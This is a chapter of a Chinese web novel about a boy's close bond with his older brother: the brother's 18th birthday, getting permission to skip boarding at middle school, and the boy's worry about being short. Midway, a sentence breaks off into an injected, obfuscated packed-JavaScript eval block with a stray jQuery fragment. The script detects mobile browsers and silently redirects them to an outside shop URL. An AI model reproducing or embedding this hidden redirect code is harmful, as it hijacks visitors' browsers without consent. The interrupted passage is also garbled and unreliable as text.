哥哥18岁生日那天，我正好是周五放学，他居然抽空来接我回家。
我惊讶地发现他的头发染回了黑色。
“哥哥为什么又染成黑色了？”
“很快要换一份工作了。”哥哥含糊地回答我，“跟老板做点其他生意。”
我攥紧哥哥的手，想到六天前我生日他买的蛋糕，上面只有我的名字。
那今天他应该有给自己买蛋糕吧，我明明让哥哥今年别给我买了，他没有同意。
“手上拿着什么？”哥哥看到我另一手上拿着的信封。
我把信封递到他眼前眼神示意他拿着。
“这是我比赛得的奖金，一共56块钱。”我有些紧张道，这是我人生赚到的第一笔钱，虽然很少，不及哥哥给我的万分之一。
哥哥勾唇笑了笑，揉了揉我的脑袋：“这么厉害？小绪不愧是学霸。”
他一夸我，我就会不好意思，“很简单的…没有哥哥想得那么厉害。”
“小绪这么谦虚。”哥哥动作很多轻地捏了一把我的脸：“给我的礼物？”
我摇头，“礼物不是这个。”
“那这是干嘛？”哥哥又笑了一声，那调子悠长，不失温柔。
“上交。”我晃了晃哥哥的手，仰头看着他：“以后我会赚更多。”
我的语气很认真，哥哥愣了愣，转瞬间我听到他的叹息声。
“我说得都是真的，哥哥我会努力的。”我以为哥哥不相信我，着急的又晃了两下他的手，泪花都要冒出来了。
哥哥也跟着我的动作摇了摇手：“好啦，好啦，知道你是认真的，我只是觉得，我们家小绪懂事得让人心疼。”
“哥哥不需要你的钱。”
我皱了皱眉，心里莫名涌上一丝难以形容的慌张：“那你需要什么。”我不知道自己能给哥哥什么。
“你健康快乐，一直爱我就够了。”哥哥的眼睛看向前方，面容上洋溢着幸福，我能感受到他幸福的来源是我。
是我牵住他的手，是我对他下意识的依赖…恍觉，我其实什么都懂。
哥哥需要我爱他。
“怎么？很难做到吗？”哥哥看我没说话，他挑了挑眉。
我手的力道瞬间收紧，怕自己的嘴不够快，想用动作回答他：“我会一直这样，这一点都不难。”
“这才对嘛。”哥哥满意地点头。
等到哥哥打开蛋糕，我们两个依偎着坐在那张矮矮的桌子旁边时，我掏出了要送给哥哥的生日礼物。
是我找人学的，亲手织出来的娃娃。用的线很粗，没有那么精细，也没有我的形态。
但确是我做得最好的一版。
看清楚我手上的东西，哥哥那双漂亮的眼睛一下子亮了，“好可爱。小绪自己做的吗？”
我的心跳得好快：“是的。”
“做的是你自己？”哥哥很快就想到了上次他给我的回答：“这真的太棒了。”
哥哥看起来很开心，脸上的小梨涡显得这张脸满是稚气。
哥哥比娃娃可爱多了。
18岁的生日，18根蜡烛插满了蛋糕，那画面实在搞笑，我没忍住笑了出声，这搞得哥哥也跟着笑了起来：“本来有个18形状的蜡烛，我没要，自己一根一根插起来才好玩。”
哥哥用打火机点亮一支，再用这一支点亮其他的蜡烛。等所有蜡烛都亮了，我走过去把灯关掉，瞬间，蜡烛的光影照亮哥哥的脸庞。
我坐回刚刚的位置，这时，哥哥已经静静地闭上眼睛，双手交握，十指相扣。
哥哥的神态很虔诚，我在一旁眼睛一眨不眨地看他。
半分钟过去，哥哥睁开眼与我对视，我们都能在彼此眼中看到笑意。
“哥哥十八岁快乐，每年都快乐。”
————
在小升初最后一场期末考试，我的分数可以稳进初中的重点班。
这所初中是我所在小学的直升，哥哥一开始还怕直升的初中师资不好，想用其他方法把我送到更好的初中。
而我不赞同这种让哥哥更累的做法，这太为难哥哥了，所以我安慰他，这个学校的重点班比其他学校差，到时候我会考上我们这边最好的高中。
学校1到3是重点班，我在1班，最强的那个班。
上初中后，我们学校重点班的人都要住宿。
我对比表示非常苦恼，离开哥哥，自己一个人躺在床上还要和一群不熟悉的人睡在一个房间，这实在太恐怖了。
哥哥问我要不要走读，他知道我对他的依赖程度根本离不开一整天。
平时晚上一旦知道自己是一个人，哥哥不会回来我就会一整晚都睡不着，就算哥哥没有提前跟我说回不来，也会在半夜惊喜。有哥哥在好像已经成了5年的习惯。
从我记忆的开端，我就没有离开过哥哥一天的时间。
现在要是住宿那可是整整五天，这不是一般人能忍受的！没错，我就是一般人。
最后在开学前，在哥哥和老师沟通下，我成功申请到走读。
上学之后，班上的同学知道我是走读生时会露出羡慕的表情。
同桌问我：“我们重点班几乎不可能申请到走读呀，我开学前试过没成功，老师说想走读就给我调到二班去，许小绪，你是怎么做到的。”
我说我不知道：“可能我的情况比较特殊？我也不知道我哥怎么跟老师说的。”
“啊，好吧，真羡慕你可以走读，我每天跑着去抢洗澡位，都快给我练成国家一级运动了。”
我感到疑惑：“洗澡还要抢位置？”
“那肯定啊，10个人就两间卫生间。”
我只能同情地看她一眼，“你加油。”
何梓琪扁扁嘴：“羡慕羡慕！”
————
乌州中学离家也不远，我还是能每天都自己走路上下学，早餐和晚餐都是在邻居奶奶家里吃的，奶奶的子女都去城里打工了。
上了初中之后，学习任务也没有很重，知识也不难，我心里已经盘算自己到时候能用学习之外的学习去做什么了。
唯一叫我苦恼的的就是，我好像并没有怎么长高，周围的男生都比我高。
哥哥昨天晚上还在我耳边感慨：“怎么小绪还是这么点大。”
我有点难过。
不过我听说过，每天跳绳可以长高，所以拿哥哥每个星期给的20块零花钱去买了一根跳绳。
这应该是我第一次拿零花钱去用，哥哥从我10岁开始就坚持每周都给我零花钱，我把他们都攒进了我的小柜子里，里面还放了哥哥之前戴过的机械表。
买了跳绳之后，我每天都傍晚六点左右开始跳，我能跳一个钟，学习跆拳道之后我的体力变得越来越好。
其他时间怕打扰到下面的人所以不敢跳。
除了跳绳，我还问哥哥：“哥哥怎么样才能长高？”
哥哥说给我买了钙片，过几天就能送到，然后还要每天早睡。
“你不能熬夜知道吗？哥哥每天都是那个点回来你得习惯。”
我点头答应他，这个应该不难做到，我其实只是偶尔会突然惊醒，其他时候都是尽量按时入睡的。
一个月过去，两个月过去…初一上学期已经要过去，我的身高还是没见动静。
心里先升起的居然是对自己的无语，然后便是焦虑，像哥哥遇到麻烦时那种眉头紧锁的样子。
“何梓琪，你现在多高。”我问了一下同桌，这位在我们班算高的女生。
何梓琪奇怪地看了我一眼，又仔细想想：“上周我妈刚给我量过，有168了好像。”
我瞳孔震裂，几乎石化。
在想想自己的159，就觉得很想哭。
何梓琪歪了歪头，打量了一下我的表情，这个聪明的女孩瞬间了然：“没关系的呀，许小绪，男孩子又不一定要高高的对不对。”
我狠狠摇头，哥哥就很高。
“你也不用太着急，你肯定还会长的呀。”何梓琪努力地安慰道：“你看你每天都要跳绳，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844574|211718||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
又吃钙片还按时睡觉…”
我听到这有些尴尬地摸摸鼻子：“你怎么知道的？”
何梓琪无语地拍拍桌子，压低声音，“有次上课聊天的时候你自己和我说的呀，你傻了吧。”
好像是有这么回事，有个话唠同桌搞得我都变得话多了，下课她就去找她的小姐妹聊天，上课就找我聊天。
刚开始我还不怎么搭理她，一是我不擅长社交，二是和男女走太近不太好，但耐不住我因为长不高实在太烦闷，而她又足够热情。
“好啦好啦，你忘了就忘了吧，反正我记得。”何梓琪的话把我拉回神：“你看我没跳过绳，也没有怎么吃钙片现在都有168，你以后肯定能比我还高的。”
“而且你学习这么好，智商那么高，就知足吧，要接受人总是不完美哒。”
我嘴角没忍住抽了抽，然后有点震惊看向她：“搞得好像你成绩不好一样？”
我的心被她的狠狠波动，她都又聪明又高了，为何我只能占一处好？没错，我内心的波动源于恶龙般的嫉妒。
我就是想长高罢了！
和何梓琪结束完这场让人气愤的对话，我开始沉浸在悲伤当中。
好想问问哥哥要怎么办，但是我还是无法在工作日的期间看见过他，即使我们每天在一个屋檐之下，共眠于一张床榻。
直到，这天的最后一节语文课，我听到老师讲男孩子的青春期普遍比女孩子的晚，身高快速增长的阶段都是在青春期，这当然是本堂课的题外话。
“……男孩子一般是14岁才开始猛长……”
这句话让我重燃希望，看来不是基因问题了。呜呜…
我回去要把这个好消息告诉哥哥。
老师一堂课下来，我就听进去了一句话，不过她提到青春期让我很新奇，原来我已经进入了青春期吗？
“看吧，我就说你还能在。”何梓琪的声音响起，得意洋洋地等我夸她。
我如她所愿地开口道：“你懂得好多。“
何梓琪听到我的话嘻笑一声：“嘿嘿，那当然。”
而我已经迫不及待等周末告诉哥哥这个好消息了。
终于熬了两天等到周六。
哥哥只有周六和周日晚上才能早点下班。
指针指到十点整，我已经做完作业，百般无聊地在桌上自己跟自己下五子棋。
突然，“咔嚓”的开门声响起，木门摩擦地面，我飞身向前拉开门，比哥哥快一半。
哥哥轻笑一声：“跑那么快干嘛，小心，别摔了。”
我高兴地紧紧抱住哥哥，闻到一丝酒气，我知道哥哥又喝酒了，自从他说有新的生意做之后好像总是一身酒气。
“什么事这么高兴？”哥哥一边进门一边回抱住我，还轻轻地揉着我的头发。
“我还能长高，我只是没到长高的年龄。”我说出来憋在心里两天的话。
“这样啊？那真是太好了，哥哥这周也刚跟同事聊了一下你们小孩子的青春期，刚想跟你说呢。”哥哥笑笑，继续道：“怪哥哥根本不知道青春期是什么，和你一样傻傻的哈哈哈。”
我耸拉下脑袋，哥哥居然比我早知道，这不是惊喜了。
哥哥看我情绪一下子降温，赶紧亲了我一口说道：“小绪以后肯定能长得比哥哥还高。”
我瞬间变得兴奋，对，我要长得比哥哥还高。
“你现在这样，小小一个，真的很可爱。”哥哥又吧唧一声亲了我一口：“但是你不长高会被欺负的。”
“所以一定要好好吃饭睡觉，长高高，知道吗？”
我们坐在沙发上，哥哥搂住我。
哥哥当初虽然不知道什么是青春期，却在知道自己没时间做饭，我也不能天天吃外卖后立马找到邻居奶奶帮忙照看我，他来付菜钱，奶奶负责给我做饭，我负责陪伴奶奶。
好在林奶奶是个很慈祥，身体健朗的老人。
最后，我亲了一下哥哥的左脸颊来作为回答，全天底下，最听哥哥话的人是我，乔加绪。